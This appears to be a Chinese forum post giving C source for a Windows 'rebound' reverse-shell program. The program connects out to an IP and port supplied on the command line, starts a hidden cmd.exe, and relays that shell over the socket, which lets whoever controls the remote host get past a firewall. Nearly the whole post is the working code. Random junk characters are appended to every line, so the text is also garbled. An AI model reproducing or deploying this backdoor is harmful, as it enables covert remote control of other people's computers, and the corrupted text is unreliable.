这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n~ >h4=h
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/* ============================== T[XP\!z]B!
Rebound port in Windows NT \_Kt6=
By wind,2006/7 ?hJsN
===============================*/ bjPbl2K
#include -V
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#include ,J(5@8(>a
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#pragma comment(lib,"wsock32.lib") wz*A<iU
#}!>iFBcH
void OutputShell(); r d6F"W
SOCKET sClient; Ls>u`hG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3']:1B
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void main(int argc,char **argv) 8f,'p}@!d
{ fAMD2C
WSADATA stWsaData; ,B~lwF9
int nRet; ;*-@OLT_K
SOCKADDR_IN stSaiClient,stSaiServer; 45)ogg2
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if(argc != 3) qbU1qF/
{ j[/SXF\=
printf("Useage:\n\rRebound DestIP DestPort\n"); ]opW; |{e
return; qHR^0&
} Cl9SPz
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WSAStartup(MAKEWORD(2,2),&stWsaData); MLt'YW^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z;fm;X%4
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stSaiClient.sin_family = AF_INET; uZo`IK J
stSaiClient.sin_port = htons(0); c{,y{2c]LT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =X`]Ct8Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Im?= e
{ A3MZxu=':3
printf("Bind Socket Failed!\n"); NF/Ti5y
return; [W9e>Nsp0
} H-_^TB
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stSaiServer.sin_family = AF_INET; I mPu}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [+%d3+27
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :kb1}Wu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X;OsH
{ KUp
printf("Connect Error!"); T/GgF&i3
return; '9-axIj70
} OS4]Y
OutputShell(); Mhv1K|4s
} }fJ:wku
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void OutputShell() Y]~ HAv '
{ 8! H8[J
char szBuff[1024]; ASKAgU"h
SECURITY_ATTRIBUTES stSecurityAttributes; X,WQ'|rC
OSVERSIONINFO stOsversionInfo; YPha9M$AgU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M<{5pH(K
STARTUPINFO stStartupInfo; ! fi &@k
char *szShell; I|g@W_
PROCESS_INFORMATION stProcessInformation; lh,ylh
unsigned long lBytesRead; ?w]"~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c~gNH%1XN
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5JBB+g
stSecurityAttributes.lpSecurityDescriptor = 0; s[G|q5n
stSecurityAttributes.bInheritHandle = TRUE; gp~yt0AU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7tpAZ<{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MxO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @Jb@L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rk($lW)
stStartupInfo.wShowWindow = SW_HIDE; bz,Da
stStartupInfo.hStdInput = hReadPipe; O.@g/05C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,wtFs!8
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GetVersionEx(&stOsversionInfo); E4sn[DO
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switch(stOsversionInfo.dwPlatformId) pN\)(:"8v
{ 9W{,=.%MX$
case 1: K&=1Ap
szShell = "command.com"; RLdlz
break; |av*!i5Q
default: oLgg
szShell = "cmd.exe"; Km6Ub?/7o
break; Op`I;Q
#%d
} eWb0^8_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;_mgiKHg
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send(sClient,szMsg,77,0); i{o#3
while(1) [Ja)<!]<
{ _1I K$gb[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )l`1)Ea~
if(lBytesRead) 't
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{ r_b8,I6{]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r5t;'eCea
send(sClient,szBuff,lBytesRead,0); _*O7l
} 3p:=xL
else <+V-k|
{ ?qju
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lBytesRead=recv(sClient,szBuff,1024,0); d{er|$E?
if(lBytesRead<=0) break; u?Fnlne4@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Oo FgQEr@
} >vUB%OLyP
} "6?lQw
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return; aXMv(e+
}